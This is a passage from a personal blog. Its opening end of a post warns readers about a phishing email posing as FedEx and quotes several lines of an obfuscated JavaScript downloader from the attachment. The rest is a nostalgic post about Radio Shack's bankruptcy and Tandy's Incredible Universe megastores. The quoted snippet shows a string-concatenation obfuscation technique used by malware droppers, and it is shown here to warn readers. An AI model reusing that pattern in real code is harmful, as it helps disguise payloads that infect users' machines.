function ddddddddddddd(){ccccc += ‘Ob’; oooooooooo(); };
function kkkkkk(){ccccc += ‘,0)’; qqqqqqqqqqq(); };
function cccccccc(){ccccc += ‘= ‘; yyyyyyyyyyyyyyyy(); };
function aaaaaaaaaaa(){ccccc += ‘ 4 ‘; eeeeeeee(); };
function rrrrrrrrrrrrrr(){ccccc += ‘ttp:/’; nnnnnnnnn(); }; var ccccc = ”; var xx = ”; uuuuuuuu();

By looking at the text elements in quotes (things like “ironm”, “ttp:/”, “.Ru”, etc. it’s pretty easy to see that the whole purpose of this script is to concatenate instructions which will lead your computer to some Russian website and infest your machine with code from Hell. I’m not skilled in Javascript (or, more accurately, it would take me more time than it’s worth to decrypt this script,) so suffice it to say you don’t want this on your machine.

The email looks like it’s from FedEx. Some poor computer-illiterate secretary, or your grandmother, or cousin, or someone who just used FedEx would probably think it was legitimate, download the file, unzip it, double-click on it, and Bob’s your uncle.

DON’T DO IT!

Attachments from people you don’t know, particularly .zip or .rar, are to be assiduously avoided. Trash them at once.

Please be vigilant and take good care of yourself and your loved ones.

The Old Wolf has spoken.

In memory of Radio Shack

Last week Radio Shack filed for bankruptcy, and the world I know will never be the same. HuffPo has a good read on why the company couldn’t survive in it’s current incarnation, and it may not be gone forever, but it won’t look the way it did in its heyday.

It used to be that you’d go down to the radio store for something like this:

Elektronenroehren-auswahl

And you’d encounter salespeople like this (Dilbert, from 1989):

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RadioShack was once the playground of the inventor, the maker and the tinkerer. In the ’70s, Steve Wozniak—Apple’s co-founder—built a device to hack long-distance phone calling out of parts he bought at RadioShack. It was where amateur electronic engineers could pick up computer chips and build their own computers. (Quartz)

Tandy tried all sorts of things to expand its market share, things like Computer City (which lost $60 million for Tandy in 1996) and Incredible Universe, which lost $90 million; we had one of the latter in Utah before it closed in mid-1997.

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Incredible Universe tried to be the big splash in electronics; according to Wikipedia,

A typical Incredible Universe was 185,000 square feet (17,200 m2) of sales floor and warehouse, stocking around 85,000 items.

The operation was conceived by former TandyCEOJohn Roach. Many internal corporate philosophies of Disneytheme parks were borrowed; in an Incredible Universe store, retail departments were ‘scenes,’ employees were ‘castmembers,’ uniforms were ‘costumes,’ and so forth.

The stores featured a large rotunda area with an actual stage where sales presentations, product demonstrations, or even occasional musical acts were performed, and various retail departments (software, music and video, and accessories) were accessible from this rotunda. Moving through the rotunda area would lead one to the main storefront where larger consumer electronics and computers were sold.

It included entertainment areas for kids, and a built-in McDonald’s; the sales staff all wore purple shirts and called themselves “grapes.” Below is a commercial for the enterprise, sadly potato quality but at least it gives you the idea:

Here’s the Utah press release:

At a press conference held today in Sandy, Tandy Chairman and Chief Executive Officer John V. Roach and Sandy City Mayor Tom Dolan unveiled plans for the opening of the giant consumer electronics gigastore this fall at the corner of Interstate 15 and 110th Street. “Incredible Universe is an electronics and home appliance store unlike any other in the world. We have created the hottest new shopping concept in America today by combining incredible fun, an incredible selection and incredible first-class service that caters to the entire family,” said Roach.

With sales estimated at $80 million per year, Incredible Universe will provide a local economic boost by adding substantially to the area’s tax base and by creating more than 350 new jobs.

Incredible Universe is so unique that it is often referred to as the “show.” Unlike many stores, guests (or customers) are encouraged to play with the merchandise — more than 85,000 products under one roof.

Guests can also create their own music videos at the sing-along Karaoke studio to test their skills at Virtual Reality and other computerized games. Community groups are invited to perform in the store’s Rotunda, and local celebrities make special appearances.

While adults shop, small children can entertain themselves with electronic toys and games in a supervised children’s play area called KidzView. Or, the entire family can take a break from shopping at the McDonald’s restaurant located inside.

Leading-edge guests can visit three state-of-the-art Multimedia Rooms to experience the combination of personal computers, full motion video, and home theater in a home setting; video teleconferencing in an office or Board Room setting; and DSS (Digital Satellite System), the latest in home satellite technology.

The newest creation in the Universe is a multimedia “library” with more than 2,500 different CD-ROM software titles. Other features of the store include a Home Theater, a computer-equipped Kitchen Design Center, and a giant-screen video display.

The 85,000-plus products available at Incredible Universe include 342 different televisions, 72 video cassette recorders, 60 camcorders, 181 refrigerators, 83 washers and dryers, 575 home and personal audio products, 300 car stereo/mobile products, 48 personal computers, and more than 70,000 music and movie titles.

Incredible Universe gigastores are open in the metropolitan markets of Phoenix, Portland, Seattle, Sacramento, Miami, Fort Lauderdale, Columbus, Dallas, and Arlington, Texas. In addition to the Salt Lake City market, other new locations planned for 1995 include the Denver, New York Metro, Indianapolis, Houston, and greater Washington, D.C., markets. Corporate headquarters are located in Fort Worth, Texas.

The concept was launched just as stores like Circuit City and Best Buy were rising in popularity, and ultimately the huge mega-stores couldn’t compete. Buildings were so large they found no buyers, and Tandy had to sell them for pennies on the dollar. Six of the 15 stores were acquired by Frye’s, and one in Texas became a community college building.

I was a longtime Radio Shack customer and watched the evolution with interest. There were times I asked myself how long the enterprise could survive, given what I saw happening to the offerings and the staff.

battery

Radio Shack’s batteries were the cheap ones from China, but when you have three kids and a gazillion electronic toys, free batteries were always welcome. At one point we sprang for a bunch of rechargables and a charger, which probably saved a few quatloos in the long run.

20150214_105421

Robie still sits on my dresser, eating quarters with gusto.

20150214_105509

This is, effectively, a 3-band hearing aid. We inherited this one from someone else, but it works like a champ.

20150214_105542

One of the most useful devices I’ve ever had around the house. I wish it did the little mercury ones (I have a voltmeter for that) but this still works.

simon

Pocket “Simon.” Finally sold this one on eBay along with some other puzzles, but part of me wishes I had kept it just for the nostalgia value. But I’m sure my buyer is enjoying it.

There were countless other toys and gimmicks, as well as a pretty respectable combination turntable, dual cassette deck, CD player, and AM/FM stereo set we had for about 30 years; I just barely finished ripping my LP’s to digital format with it before it finally gave up the ghost.

Christmas time at Radio Shack was great in the 80s; there were countless fun gimmicks and toys, RC cars and trucks, and lots of things that kids would enjoy. As time went on, though, the offerings of this nature became slimmer and slimmer; cell phones became the dominant push, and everything else was secondary. According to the HuffPo article I referenced above,

RadioShack lost sight of who they were. Technology changed rapidly, but their gadgets did not, and many of them were rendered obsolete as smartphones came into the picture with apps that easily replaced them. They didn’t focus on the right things, and that led to fruitless attempts to become relevant once again.

Whether the company will survive in some form or other, or be acquired, or simply fade into oblivion, remains to be seen. For me, the most poignant image was not even real, but cleverly photoshopped – but it expressed in a single picture what I have been feeling over the last couple of weeks, as I digested the news of an old friend’s passing:

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The Old Wolf has spoken.